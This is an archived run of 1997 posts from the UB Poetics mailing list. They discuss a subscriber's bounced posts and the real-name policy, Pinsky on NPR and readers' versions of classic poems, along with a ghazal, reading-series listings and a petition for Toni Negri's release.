but there is a pretty rational policy. people could (probably someone has tried at one time or another) subscribe under someone else's name w/o their permission and write lots of things that person would never have said. or one could subscribe as an unknown young faculty member if one had a grudge against that particular unknown faculty member and by posting cleverly do some real damage to a career. hence, i think the poetics list owners have decided no fake names. period. you are who you are so you take responsability for what you post.

re last, this list has been used,and i've seen it used, as a primary research site, and though we expect things are always verified, still, papers have been written from material generated on this list. again, one could do some pretty irresponsible misinforming if one took it into one's head to do so (and i speak of a victim of this exact thing). an inflexible "real name" rule at least reduces chances of this.

i don't know if listowners insist on real name appended to all posts, but i think at the least, they want to be themselves in possession of certainty that whoever you say you are is really who you are. in situation of someone from country

where they are in fear of political retaliation, we had a discussion about that a while ago in another context -- someone on list who has since been taken off posted some very private material with a phone number and name attached for no real reason. one of the main fears was, in fact, the possibility that in open net environment, person whose number was violated might be subjected to net harassment. if someone from a repressive country wanted subscription to list, probably a talk with listowners/sys admins might be enough to clear matter, but it is possible that the mechanisms of listserve program simply will not allow use of pseudonyms, no matter what. program protocals may be set up to boot anything coming back as undeliverable, and since software not written at buffalo, but obtained as package, i don't think it can be rewritten.

anyway, layne, the reason "TheFarm" is being assumed to be a name is that the convention, in email addresses, is to have [redacted], i.e. [redacted] or [redacted]. if red slider's name really IS red slider, and he just uses nickname "TheFarm" as his email name, he should be ok. but i think the problem might be that we start with funky non-name name, and go to what sounds like another non-name, "red slider." the worst (so far, and hopefully period) mess we had was generated by an unknown person hiding behind a fake name -- as i'm sure you can imagine, when people are using a fake name, the possibility for abuse widens considerably.

boringly yours
YesMyRealNameIs, sadly,
elliza

↑ Index

386. **Layne Russell**
Re: Red Slider' url
Tue 23 Sep 1997

---

p. durgin wrote:
>
> Herb, et. al.
>
> Where will I find R. Slider's poetry site?
>
> I[I]I [redacted] I[I]I

Red's site is at:

http://www.ns.net/~TheFarm/poetry/Poetry_Lobby.htm#topmark

(His site is listed along with many other Poetics list members' sites on my poetry links library page: http://www.sonic.net/layne/poetrylnk.html)

Layne

p.s. please notice "TheFarm" is the name of both Red's site and email, both on NSNet of Sacramento, CA.

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387. Dean Taciuch

Re: confusion/Red's 86 (fwd)

Tue 23 Sep 1997

On Mon, 22 Sep 1997, Layne Russell wrote:
>
> here is a copy of red's email sent to me regarding the correspondence:
>
> ----------***
>
> Subject:
> 86'd from SUNY
> Date:
> Fri, 19 Sep 1997 23:42:57 -0700
> From:
> red slider <[redacted]>
> To:
> "'[redacted]'" <[redacted]>, "'[redacted]'"
> <[redacted]>
>
[cut]
> ---
>
> You are not authorized to send mail to the POETICS list
> from
> your
> [redacted] account. You might be authorized to send to the
> list
> from
> another of your accounts, or perhaps when using another mail
> program
> which
> generates slightly different addresses, but LISTSERV has no way to
> associate
> this other account or address with yours. If you need assistance or if
> you
> have

> any question regarding the policy of the POETICS list, please contact
> the
> list
> owners: [redacted].
>
> ---------- Rejected message (140 lines)
> ----------

All--I for one have gotten this exact same message on a few occassions. My University account, from which I am subscribed, uses three different forms of my address (@osf1.gmu.edu and @mason.gmu.edu, as well as @gmu.edu). When I log in, I am connected to whichever server is least busy, unless I specify which I want.). I can only post, however, from my osf1 address (even though it is equivalent to the others, the Listserve has no way of knowing that.) The message I've quoted above is automatically sent whenever there's any confusion over an email address. I've gotten it too, and no-one's trying to kick me off the list.

The followups about names appear to be beside the point. Its an address foul-up, not an identity issue.

Dean

↑ Index

388. **David R. Israel**

Re: confusion/Red's 86 (fwd)

Tue 23 Sep 1997

What Dean T. says seems prob. basically right --

> *The message I've quoted above is automatically sent whenever there's any confusion over an email address. I've gotten it too, and no-one's trying to kick me off the list.*
>
> *The followups about names appear to be beside the point. Its an address foul-up, not an identity issue.*

except, I note that formerly Red had posted to the List from exactly the same address -- which leads me to think some accident occurred, such that his address, w/o intention, got dropped from the roster.

The simple remedy (& a test of this "it ain't nuthin' but a mixup" reading of the situ ayshun) should be to re-subscribe.

copying Red, for what worth.

best,
d.i.
.

```
.....
............
\\\
```

Here's the good part:
In closing Terry mentioned that the biggest
problem people have with poetry is that
they feel they don't understand it. Pinsky
says, "but people like a lot of things
they don't understand... sex comes to mind."

From Washington,
I'm Carol Mirakove

↑ Index

391. **Jack Foley**
online resources, eh? -Reply
Tue 23 Sep 1997

For leads, try http://www.pw.org/ That's the Poets & Writers site. It might be helpful, if only as a useful point of departure.

>>> Miekal And <[redacted]> 09/22/97 10:14am >>>
Wondering if anyone knows of any online resources that compile places
(both academic & beyond) which are actively seeking poets & writers for
reading programs, residencies, & workshops....

getting tired of reading to the goats.

miekal

↑ Index

392. **James Finnegan**
Re: readers' versions of great lit
Tue 23 Sep 1997

In a message dated 97-09-23 01:08:31 EDT, you write:

> *I don't think we need to be intimidated by anything, & surely not by readers' versions of great lit. Are we really intending to go on reproducing novels & poems from the past word for word into an infinite future? Give me a break!*

David,

Some writers (& readers) aren't afraid
to be duly intimidated.

Reverence and reference aren't sins.
I'm intimidated by Maximus Olson,

esp. that hefty California edition. And
Milton scares the bejesus out of me.

Finnegan

Retort Overheard in a North Beach Bar

"I knew Jack Kerouac,
and you're no Jack Kerouac."

↑ Index

393. **henry g**
Re: Pinsky on NPR
Tue 23 Sep 1997

---

didn't ol' Eddie Poe say the ESSENTIAL thing about poetry was it's vagueness/mystery/obscurity? Was Eddie on the ball here?

my current philologist hero Potebnia (of Kiev, 19th cent.) based his whole theoretical edifice on the concept of the "inner image" - a characteristic shared on different levels both by language in general and by poetry - the essential quality of which is excess of meaning or unlimited denotation/connotation -

as opposed to "scientific prose" at the other end of the scale, in which the referent of a word is strictly limited -

do we understand this? But I don't read this as a license for lazy mystification - poet has to shape the building - is there an usher in the house? - Henry Gould

↑ Index

394. **Burt Kimmelman**
Re: readers' versions of great lit
Tue 23 Sep 1997

---

sorry david et al.,

i'll take my chaucer, my dante, indeed my shakespeare, straight with no chaser. sure, i can see how those of us in society who don't read well enough or don't have the linguistic training might benefit from reading a homogenized joyce--or perhaps some time soon a dumbed-down pynchon or the like--but i object to the perpetuation of the myth that, say, the danis version of ulysses Is what joyce was about or that it Is the real thing.

hey i'm shocked that a language-y guy like you, david, would be so complacent about reader's digest kind of rehash. Hmm, let me say, I wonder what Hallmark could do with some of your own lyrics.... You wouldn't mind, I presume.

burt

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395. David R. Israel
riffing (re: readers' versions of great lit)
Tue 23 Sep 1997

James Finnegan nicely wrote,

> *Some writers (& readers) aren't afraid*
> *to be duly intimidated.*
>
> *Reverence and reference aren't sins.*
> *I'm intimidated by Maximus Olson,*
> *esp. that hefty California edition. And*
> *Milton scares the bejesus out of me.*

skipping over knotty culdesacs of not-being-afraid-tobe-intimidated, aye zeroing in on what a fine line is JF's final one -- here's riffing on same, in prosody-of-ghazal manner (sorta) -- call it a hasty draft . . .

(the form requires the poet to self-address in final couplet, ergo the "Ardeo" [a nom-de-plume])

d.i.

Milton scares the bejesus out of me
what a sigh Hafez squeezes out of me

Shakespeare had me cowering in corners
Chaucer ironed the creases out of me

gotcher Keats in a careful conch?
Shelley elicited teases out of me

watching Walt doze long on th' lawn
Emily's bees rode breezes out of me

Dante daunted -- words were hushed
rivers of Tagorean peace came out of me

history hides (quoth Waldo) *here*?
every age now wheezes out of me

sometimes buttermilk sometimes cream
kefir fetched tart cheeses out of me

Franz's Geothe's elvin king --
such dark flame releases out of me

Ginsberg sings from my t.v. screen
Yasusada seizes -- out of me

cuneiform bytes! sanskritic scrawl! --
dada data sneezes out of me

po-laur Pinsky shrugged off p'formance?
slam-dunk po no ease is? (daughtily)

Lazarus' lazy loll were lost?
feats like these bring "Jesus!" out of me

Red October -- mid-September
Greenage paints dark greases out of me

look at sky or gaze at ground --
Ardeo! quit ere quease comes out of me

```
 .
 .....
 ............
 \\\\
```

Dodie

Small Press Traffic presents

Edmund Berrigan
David Bromige

Friday, October 3, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Edmund Berrigan is the author of two Idiom chapbooks, _Counting the Hats and Ducks_ and _A Serious Earth (with drawings by William Yackulic). His poems have been published in _Arshile, Mirage #4/Period[ical], Talisman,_ and _The World._ Berrigan‹formerly manager of Small Press Traffic‹is an accomplished singer and actor, but his forte is poetry. For most of us, poetry is a second language, but for him it¹s almost his first, a sustaining and living M.O. His best work delights and perplexes with its resolute treatment of, and analytic questioning of, pleasure and risk, danger and play. ³Great art is creating us;/ strung down, tuned low,/ its hands are our feel &/ show us dims that glower/ like a coward retreating/ from the scene of his crime.²

David Bromige has had thirty books published, many by Black Sparrow, and most recently, by Avec Books (_A Cast of Tens_) and Sun & Moon (_The Harbormaster of Hong Kong_). ³Ron Silliman says that _My Poetry_ (1980) changed the world of poetry, & stood Langpo on its head. Few have been that generous.² David Bromige has been an inspiration to poets in the US, UK and Canada for over thirty years. He has won two NEA awards, two Canada Council awards, a Western States Book Award, a Stein, a Pushcart, was Poet Laureate of UC (all campuses) in 1965, and dubbed a Living Treasure of Sonoma County in 1995. He¹s currently writing a novel called _Success_. ³I published Ted Berrigan in 1866, a typo that says volumes,² he writes. ³In 1995, at Naropa, I gave Alice Notley a single rose, not a romantic gesture, but because I¹d been an asshole in argument the night before. And now along comes Edmund. ŒOld age,¹ quipped George Oppen, Œwhat a strange thing to happen to a boy.¹ I¹ll be the one with painful feet.²

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397. **Christopher Alexander**
Re: confusion/Red's 86 (fwd)
Tue 23 Sep 1997

David Israel wrts:
> What Dean T. says seems prob. basically right --
[snip]
> except, I note that formerly Red had posted to the List from exactly
> the same address -- which leads me to think some accident occurred,
> such that his address, w/o intention, got dropped from the roster.

just a brief reminder to the folks out there—
& hopefully a small corrective to the, um,
paranoia that seems to be growing from
DB's wonderfully witty "1984" reference
(& you'd just let it go, too, you devil!)—
re "email technology", viz. that (as always)
what appears to be a simple transaction, e.g.
this message sent from one address to another,
actually masks a very complex system of
exchange. for example, my email address is
[redacted]
—but that address is really just a dummy
which conceals a good deal of the process
of getting mail to me, ostensibly (& indeed
this is usually the case) simplifying the
process @ the user end. at one time, mail
sent to me @ this address eventually came
to me on the library's Alexandria server
(get it?), but then I was moved to another
server, then my "context" on that server
was changed, then the address standard
for our organization was changed & so
forth. so though my email address has
apparently remained the same, the actual
address that I was receiving mail @ &
posting from has changed several times—
not unlike the example Dean gives of
accessing his mail via different addresses.
each of these changes has involved some
re-negotiation with Listserv, the program
that powers the poetics list, & with the
folks who maintain it (special thanks to

Joel, but also his invisible fellows like
the mysterious "not Joel").

for an example of how complex all of
this really is, try to find the "show all
headers" or a comparable command in
your email software, & examine the
"full header" of this message, i.e., the
full path of its transmission beginning
with my server & ending with yours.
here's what I get when I view Dean's
post:

MDT7MST Return-path: <[redacted]>
(Mercury 1.31);
23 Sep 97 06:56:20 MDT7MST
-0000 Received: from listserv.acsu.buffalo.edu (128.205.7.35)
by deliverance.acsu.buffalo.edu with SMTP; 23 Sep 1997 12:48:50
-0000
(LISTSERV-TCP/IP release 1.8c) with spool id 20706857 for
[redacted]; Tue, 23 Sep 1997 08:48:47
-0400
-0000 Received: from osf1.gmu.edu (129.174.1.13) by
listserv.acsu.buffalo.edu with
SMTP; 23 Sep 1997 12:48:46 -0000
(5.65v4.0/1.1.8.2/07Sep94-1001AM/GMUv3) id AA05730; Tue, 23
Sep 1997 08:48:46 -0400
Date: Tue, 23 Sep 1997 08:48:46 -0400 Reply-To: UB Poetics
discussion group <[redacted]> Sender: UB
Poetics discussion group <[redacted]> From:
Dean Taciuch <[redacted]> Subject: Re:
confusion/Red's 86 (fwd) To:
[redacted] X-PMFLAGS: 34078848 0

there's no reason to decipher all of this—
suffice to say, there's more going on here
than you think, & plenty of places for a
problem to crop up; though, as I implied,
the most likely problem is an "invisible"
(or so she/he thought) change made by
Red's Internet Service Provider.

> *The simple remedy (& a test of this "it ain't nuthin' but a mixup"
> reading of the situ ayshun) should be to re-subscribe.*

probably this wld @ least allow Red
to send/receive poetics posts. what I've
had to do before is re-subscribe, & have
the listserv admins bump my old
address off the subscribers list.

sorry to go on @ such length! guess
I'm playing techie to make up for Alan
Sondheim's temporarily reduced list
presence ["hi Alan"].

best, Chris—"temporarily reduced"?!

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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398. David Bromige
divers (red 86'd; Pinsky on NPR; readers' versions)
Tue 23 Sep 1997

Given the interest among Listopolitans in the Red Slider case, I hope further elucidation will be forthcxoming from the Buffalo office. While it is so that some of his messages from Head Office were computer-generated, it is quite clear that at least one missive (forwarded to the List by Layne Russell) was written by a person. What is needed now is for that person to step forward and address the List, so that we can hear his/her version events, and learn whether Red Slider has been axed for rule-violations (which rules? how transgressed? on what evidence?), or whether what we are witnessing here is merely a rush of power to the head somewhere in the Snowy City.

* * * * * * *

Pinsky on NPR : I seldom listen to NPR, probably because I am within range of KPFA, and why eat hamburger when you can have steak? But perhaps I malign NPR. I know they offer Andrei Codrrescu. But apart from that, do they offer poets of a stripe not that of Robert Pinsky? Has any one of the following smatter of poets been aired : Ron Silliman, Lyn Hejinian, Bob Perelman, Leslie Scalapino, Bruce Andrews, Abigail Childs, Steve McCaffery, Karen Mac Cormack, Jackson Mac Low, Jennifer Moxley, Charles Bernstein, Rae Armantrout, Pierre Joris,

Laura Moriarty, Michael Davidson, Harriet Mullen, Nick Piombino, Erica Hunt? If so, on which program, and at what time does it air? Thanks.

* * * * * * * *

I am sorry that the savage irony of my "readers' versions" posting didn't come through. It's probably because my travesties were too good. To be dull about it, we _do_ have the originals, but must take care to indicate to the students which these are, agreed. My purpose split when I started having too much fun. I will be posting versions of Olson and Milton later this week. And James, I will do you too if you will post a poemn to the List. As for a contract with Hallmark, I'm ready. It can't be worse than the movie of the book, and there are hungry mouths to be fed.

And of course, as George Bowering would point out, my entire oeuvre is a travesty of his.

David Idenitity, at arbitrary-coded e-ddress, Smalltown, USA.

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399. Christopher Alexander
Re: Pinsky on NPR
Tue 23 Sep 1997

Carol Mirakove wrts:
> Terry Gross had Robert Pinsky on Fresh
> Air last night. I missed a lot of the
> interview because I was assembling furniture
> while listening and the electric screwdriver
> drowned him right out [...]

that sounds like:
A) a practical response to a bad situation;
B) an incidental critique of Pinksy & his ilk; &
C) such beautiful music...

[Joe Amato: "How 'bout / She sang beyond the genuis / of the c?"]

--

(meanwhile in the Bat Cave) Henry wrrrrt:
> didn't ol' Eddie Poe say the ESSENTIAL thing about poetry was it's
> vagueness/mystery/obscurity? Was Eddie on the ball here?

I'd prefer to think it implies a *different* kind
of understanding or is structured by a different
kind of (dialectical?) logic, as opposed to this

"vagueness/mystery/obscurity"—or at least I'd
opt for that characterization right now.

> *my current philologist hero Potebnia (of Kiev, 19th cent.) based his whole theoretical edifice on the concept of the "inner image" - a characteristic shared on different levels both by language in general and by poetry - the essential quality of which is excess of meaning or unlimited denotation/connotation -*
> *as opposed to "scientific prose" at the other end of the scale, in which the referent of a word is strictly limited -*

Henry, are you familiar with the work of Jean Jacques LeCercle (specifically, *The Violence of Language*)? I'm not particularly taken with him, but it does seem like (some)one might be able to do something with the apparent relation between Potebnia's theory & LeCercle's "we speak language" &/or "language speaks us" model.

best, Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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400. Herb Levy
Red Slider
Tue 23 Sep 1997

There are two distinct things about the recent Red Slider affair.

One is the simple automated reply to a post from an e-mail address that's not on the list. This is no big deal, regardless of how ominous the generic text may sound to some. This message for instance was first sent through the ISP I use when I'm not home (cause I'm not home) & poetics only recognizes [redacted], so I got the bounce message.

As a few folks have posted, this can be due to a lot of things that are out of any individual's hands, ISP's change things around in ways that don't affect how we use then, but can affect the way our communicaations with the outside world.

The other problem with this, however, is the subsequent exchange with Slider, not simply because it's unsigned, but because in addition to the bounce message, further action was taken that seems to have been arbitrarily meted out.

All that said, I'd like to note my favorite line from Slider's poetry Web site:

"Biography: just like it says, a brief bibliography."

Herb Levy
[redacted]

↑ Index

401. **p. durgin**
Re: Pinsky on NPR
Tue 23 Sep 1997

Henry, The mystification, how can it be anything but lazy? Brave and lazy at once. The sweat comes in when one transposes their mystical experience into text. And what of chance operations? Doesn't indeterminacy, instead of precluding the mystical, reverse the dynamic? Patrick F. Durgin

I[I]I [redacted] I[I]I

On Tue, 23 Sep 1997, henry g wrote:

> *didn't ol' Eddie Poe say the ESSENTIAL thing about poetry was it's vagueness/mystery/obscurity? Was Eddie on the ball here?*
>
> *my current philologist hero Potebnia (of Kiev, 19th cent.) based his whole theoretical edifice on the concept of the "inner image" - a characteristic shared on different levels both by language in general and by poetry - the essential quality of which is excess of meaning or unlimited denotation/connotation -*
>
> *as opposed to "scientific prose" at the other end of the scale, in which the referent of a word is strictly limited -*
>
> *do we understand this? But I don't read this as a license for lazy mystification - poet has to shape the building - is there an usher in the house?*
> *- Henry Gould*

↑ Index

402. **p. durgin**
Re: Red Slider
Tue 23 Sep 1997

Herb, et. al.

Where will I find R. Slider's poetry site?

I[I]I [redacted] I[I]I

↑ Index

403. Christopher Alexander
Re: readers' versions of great lit
Tue 23 Sep 1997

David Bromige wrt:
> I append two "readers' versions" of two recognizable poems (of which one is
> only partially here; I got tired) by two poets who have recently been
> mentioned on the List, & inquire, Where is the harm in it?

David, you're clearly brilliant.
as if we hadn't noticed already.

Chris
..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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404. Timothy Materer
trangression?
Tue 23 Sep 1997

What is needed now is for that person to
>step forward and address the List, so that we can hear his/her version
>events, and learn whether Red Slider has been axed for rule-violations
>(which rules? how transgressed? on what evidence?)

Right. What I can't understand, but I may not understand the situation, is how anyone can be kept off a public, unmoderated e-mail list.

Timothy Materer, 228 Tate Hall, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

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405. Carol Mirakove
Re: Pinsky on NPR
Tue 23 Sep 1997

David Bromidge wonders:
> But perhaps I
> malign NPR. I know they offer Andrei Codrrescu. But apart from that, do
> they offer poets of a stripe not that of Robert Pinsky? Has any one of the
> following smatter of poets been aired : Ron Silliman, Lyn Hejinian, Bob
> Perelman, Leslie Scalapino, Bruce Andrews, Abigail Childs, Steve McCaffery,
> Karen Mac Cormack, Jackson Mac Low, Jennifer Moxley, Charles Bernstein, Rae
> Armantrout, Pierre Joris, Laura Moriarty, Michael Davidson, Harriet Mullen,
> Nick Piombino, Erica Hunt? If so, on which program, and at what time does
> it air? Thanks.

No, and don't be silly. Last spring Robert Hass was on twice (once with Pinsky). I'm sure Rita Dove has been on as well, plus Maya Angelou...

Actually, I find the interviews fascinating. I suppose this is because I relish the sensation of frustration. Seriously, it's good to reinforce that the poet laureate is who you'd basically expect he'd be.

Much worse than the interviews are the poetry clips on NPR. Last winter they were on an "anti-poem" kick and it seemed like Naomi Shihab Nye was in my speaker every damn week.

But I don't expect much of radio in that way, i.e., I don't expect it to include non-mainstream poets. I think my expectations grow out of the fact that radio is expensive and in general it seems that the more something drips with money the more standard it's likely to be. In contrast, I expected much more "risky" (i.e., potentially offputting to the reader) poems to appear in Hass's poet's corner, but in the 100 or so weeks he's done it, I there has been ONE Sun & Moon poet by my count and few if any small-press poets.

Carol

↑ Index

406. matt
antonio negri
Tue 23 Sep 1997

my apologies for cross posting and any offensive comments about what a terrible thing this is etc etc can be posted straight back to my trash.

matt

>FREEDOM FOR TONI NEGRI
>PUTTING AN END TO THE "YEARS OF LEAD" IN ITALY
>
> Toni Negri has been in prison in Rome since July 1, 1997. He has
>been sentenced to more than 13 years in prison, not counting another
>conviction that is now in the appeal process. After residing in
>France in exile since 1983, he returned to Italy voluntarily in the
>hope that his action would contribute to the resolution of the problem
>of the exiles and prisoners who are wanted or convicted for the
>political activities of the 1970s in Italy, the so-called "years of
>lead." About 180 people are still in Italian prison under these
>charges and about 150 are in exile, the majority of them in France.
> Toni Negri was a professor at the University of Padua and his
>writings are well-known throughout the world. He was arrested on
>April 7, 1979 and accused of "armed insurrection against the powers of
>the State." To support this accusation, his accusers presented him as
>the secret leader of the Red Brigades, the terrorist group that had
>kidnapped and assassinated Aldo Moro, President of the Christian
>Democratic Party. Negri has always denied this absurd accusation and
>he was later formally acquitted of this charge. Charges against him
>were modified numerous times. After four and a half years of
>preventive detention, he was elected to parliament as a representative
>of the Radical Party and was consequently released from prison. When
>the Chamber of Deputies subsequently voted by a narrow margin to strip
>him of his parliamentary immunity and send him back to prison, he fled
>to France. The court procedures against him continued in his absence
>and led to convictions under several charges and in several different
>trials. At the time, Amnesty International denounced the serious legal
>irregularities of Negri's trial and those of his colleagues at the
>University of Padua. During his exile, Toni Negri worked in France as
>a teacher at the University of Paris VIII, at the Coll
>ge
>International de Philosophie, and as a social science researcher. He
>published numerous books during this period.
> Due to his notoriety Negri has become the emblematic figure of
>the Italian radical Left of the 1970s. Beginning in the Autumn of
>1969 there began in Italy a period of intense social conflicts that
>were exacerbated by the very ambiguous role of certain State agencies
>in what was called a "strategy of tension," in other words, the
>manipulation of the neo-fascist groups responsible for a deadly
>bombing campaign at such sites as Piazza Fontana and the Bologna train
>station. The radicalization of the Italian extra-parliamentary Left

>and the social movements led a large number of activists toward the
>path of wide-spread political violence and a few of them toward armed
>struggle. Between 1976 and 1980, tens of thousands of activists were
>pursued by the police and more than five thousand arrested. Hundreds
>of long-term sentences were handed out on the basis of emergency laws
>that are still in effect, including principally the so-called law of
>the "repentants." This law makes the testimony of accused persons who
>have "repented" the sufficient basis for the conviction of others, and
>allows for them to be set free in return for having turned State's
>evidence. Another emergency measure allows for preventive detention
>to extend retroactively up to twelve years. This measure is radically
>incompatible with the principles of the rule of law and the basic
>rules of penal procedure, as they are defined by articles 5 and 6 of
>the European Convention of Human Rights and protected by the European
>Court of Human Rights. One can assume that the highly contestable
>nature of such legislation is what has led Italy's democratic
>neighbors such as France and Great Britain to have serious doubts
>about these cases and not to act on the majority of the more than
>seventy requests for extradition presented by Italian authorities,
>regardless of the political party in power. For the same reason,
>undoubtedly, the over five hundred refugees who have been accepted in
>France over these years have never been disturbed or harassed. These
>refugees have integrated into French society, finding work and
>building families. Now they do not want to risk their futures and the
>lives they have constructed in order to resolve twenty-five-year old
>sentences that were handed down in such dubious emergency conditions.
> The object of this appeal should not be interpreted in any way to
>condone the real or supposed activities of those pursued and convicted
>for their activities during the "years of lead." The refugees have
>declared unambiguously that the "war" is over. "That period has
>ended." A democracy worthy of that name must be able to turn the
>page. Today these nearly four hundred exiles and prisoners are
>excluded from Italian society. A problem of this order cannot be
>resolved on a case by case basis, but must be addressed with a general
>solution.
> A bill for an "indulto" (a reduction of sentences by a vote of
>parliament) was introduced nine years ago but has not yet come up for
>a vote. Such a bill would have positive effects, but it would not
>resolve the refugees' problems. The only solution for Toni Negri and
>his unfortunate companions would be an amnesty. The only amnesty that
>has been passed in Italy was in 1946, which Togliatti supported with
>regard to the fascists. On the other hand, for the activities linked

>to France's war in Algeria and concerning actions of a gravity more or
>less equivalent to those committed in the 1970s in Italy, France
>granted an amnesty to both the deserting soldiers and the members of
>the OAS.
> Since we support the principles of the rule of law and the re-
>establishment of human rights everywhere for everyone, as Italy
>prepares for integration into the new Europe, we ask urgently that the
>Italian members of parliament respond favorably to this appeal for
>clemency by passing an amnesty law as soon as possible. We also ask
>the representatives of the European Union to take appropriate measures
>to insure the swift release of Toni Negri. If he symbolized one era,
>then his release will symbolize another, calmer one. Finally, by
>repealing the series of exceptional measures that are incompatible
>with the European Convention of Human Rights, Italy would live up to
>its central role in the new Europe.
>
>----------
>
>
>PETITION
> Having understood the circumstances, we support the appeal in
>favor of the release of Toni Negri in order to put an end to the
>"years of lead" in Italy.
> Toni Negri was in France for fourteen years. He sought refuge
>there in 1983 after serving four and a half years of preventive
>detention in Italy. He has now returned voluntarily to Italy where he
>has been sentenced to prison for eminently political reasons on the
>basis of an arsenal of emergency measures (such as convictions based
>solely on the testimony of "repentants" and extended preventive
>detention) that are incompatible with the European Convention of Human
>Rights.
> He has been in prison since July 1, 1997 and his release (which
>will likely be only a work release) has still not come about.
> Four hundred people are excluded from Italian society on the
>basis of political activity conducted twenty years ago. The more than
>150 refugees in France do not want to destroy the lives they have
>constructed in order to address these sentences based on emergency
>measures. European authorities on the Right and the Left have not
>extradited the refugees back to Italy, and they have thus expressed
>sotto voce their disdain for the Italian procedures.
> The wide-spread political violence of the Italian social
>struggles, which has been conflated under the label of Italian

>"terrorism," is something that ended long ago. Can a democracy apply
>to those accused of political crimes (twenty years after the fact)
>measures more severe than those used in common criminal cases?
> The release of Toni Negri must finally lead toward an amnesty
>that has been too long in coming. Only the abrogation of the
>emergency measures and the parliamentary passage of an amnesty bill
>can finally put an end to the "years of lead." As long as these
>conditions are not met, we urge the countries of the European Union to
>guarantee the residency of the Italian exiles. We ask finally that
>the members of parliament of the other countries of the Union and
>those of the Strasbourg Assembly do all they can to resolve these
>problems.
>
>Please send signatures to Yann Moulier Boutang by fax or e-mail.
>fax: (011.331) 45.41.53.91
>email: [redacted]
>
>Name Function or Title Address and telephone, fax, or email
>
>
>
>
>Among those who have already signed this petition:
>E. Balibar (philosopher), J.L. Benhamias (General Secretary of the
>Green Party in France), O. Btourn (editor at Editions Fayard), P.
>Boulez (musician), Ch. Bourgois (editor), P.A. Boutang (film producer),
>R. de Ceccatty (writer), G. Chatelet (mathematician), M. Chemillier-
>Gendreau (jurist), D. Cohn-Bendit (writer), R. Debray (writer), J.
>Derrida (philosopher), C. Dolto-Toltitch (doctor), V. Forrester
>(writer), S. Gisselbrecht (Inserm), G. Kejman (lawyer), A. Lipietz
>(economist), B. Marger (Cit de la Musique), J.F. Masson (doctor), F.
>Matta (artist), G. Perault (philosopher), M. Plon (psychoanalyst), A.
>Querrien (urbanist), J. Ranciere (philosopher), E. Roudinesco (writer),
>S. Silberman (film producer), Ph. Sollers (writer), G. Soulier
>(jurist), and I. Stengers (philosopher).
>

[redacted]

http://www3.mistral.co.uk/matt_lee

"here, then, once"

Eye for an I (I4i) - on going drafts of work in progress
To get it press reply and write I4i-subscribe

↑ Index

407. Charles Bernstein
HERE Poetry Readings (NYC)
Tue 23 Sep 1997

THE [redacted]!

PLEASE NOTE: THE EAR INN READING SERIES HAS MOVED!!!
BEGINNING OCTOBER 4, 1997 THE SERIES WILL BE HELD AT

HERE--CENTER FOR INDEPENDENT ART!

HERE IS LOCATED AT
145 6TH AVENUE BETWEEN SPRING AND BROOME .

READINGS WILL TAKE PLACE ON SATURDAYS AT 3:00 PM

Please support our new series and join us for our grand opening reading on October 4!
Coordinators for this series are Robert Fitterman, Liz Fodaski, Stacy Doris, & Charles Borkhuis.
Continuing support of this series is provided by the Segue Foundation.
Funding is made possible by support from the Literature Program of the New York State Council on the Arts.
Help support HERE--come early for lunch, stay late for drinks!

Segue @ Here: October & November Readings

HERE
Center for Independent Art
145 Sixth Avenue
bet. Spring & Broome
[redacted]

OCT 4: TOM RAWORTH, ANN LAUTERBACH Tom Raworth is from London and is the author of forty books, most recently Clean & Well Lit (Selected Poems 1987-1995) from Roof Books. Ann Lauterbach is the author of Clamor and And For Example among many other titles, and has a new book due out in October.

OCT 11: BRENDA COULTAS, TIM DAVIS Brenda Coultas is the author of Early Films (Rodent Press). Her writing has appeared in The World, Mirage, Big Rain, and several other publications. Tim Davis' latest chapbook is My Life In Politics or The History of N=A=R=R=A=T=I=V=E Film (Object/poetscoop).

OCT 18: CYDNEY CHADWICK, LISA ROBERTSON West Coast writer Cydney Chadwick is the author of one full-length collection and five chapbooks. Her most recent title, Interims, was published by 3300 Press. She is the editor/publisher of Avec. A founding member of the Kootenay School of Writing in Vancouver, Lisa Robertson is the author XEclogue (Tsunami Editions).

OCT 25: CHARLES BERNSTEIN, MELANIE NEILSON Charles Bernstein is the host of LINEbreak, 30 radio interviews/readings, now available on the web at writing.upenn.edu/epc/LINEbreak. Melanie Neilson's books include Civil Noir and Natural Facts. She is co-editor of Big Allis.

NOV 1: DAVID BROMIGE, BRIAN KIM STEFANS David Bromige is the author of The Harbormaster of Hong Kong (Sun & Moon), A Cast of Tens (Avec Books), and From the First Century (Cricket Press), among others. Brian Kim Stefans is the editor of Arras, which will have its on-line premiere in Winter 1998. Poems are forthcoming in Torque, Lingo, and the Asian Pacific American Journal.

NOV 8: JEROME SALA. RICK MOODY Jerome Sala is the author of many contemporary classics. His latest volume is Raw Deal (New & Selected Poems 1980-94) from Another Chicago Press. Rick Moody is the author of several novels including The Ice Storm and Purple America-- the former is a soon-to-be-released film by Ang Lee. Rick has declared that he will be reading his poetry on this day.

NOV 15: JOHANNA DRUCKER, JUDITH GOLDMAN Johanna Drucker has been publishing since 1972, frequently using experimental formats and typography, and has several dozen books including scholarly, critical, and creative titles. Judith Goldman has been published in numerous magazines including Chain and Torque, and she has a chapbook, adversities of outerlife (poetscoop).

NOV 22: BOOK PARTY/BENEFIT FOR RADDLE MOON on publication of its 22 New ^To North America French Poets issue. Norma Cole, Susan Clark, and more local celebrities such as Jena Osman, Fiona Templeton +++ are expected.

NOV 29: THANKSGIVING WEEKEND- NO READING

DEC 6: PIERRE JORIS, NICOLE PEYRAFITTE, COLE SWENSEN Pierre Joris is the author of Turbulence (St. Lazaire), co-editor of Poems for the Millenium (U. of Calif.) and translator of Paul Celan's Breathturn (Sun & Moon). Nicole Peyrafitte is a poet, painter, and singer living in Albany, NY. Cole Swensen is the author of Noon (Sun & Moon) and a translator of French poetry.

DEC 13: ROBERT KOCIK, CECILIA VICUNA
Robert Kocik: vicarious, histrionic, choral poetry. Cecilia Vicuqa's latest book is The Precarious-Quipoem (Wesleyan).

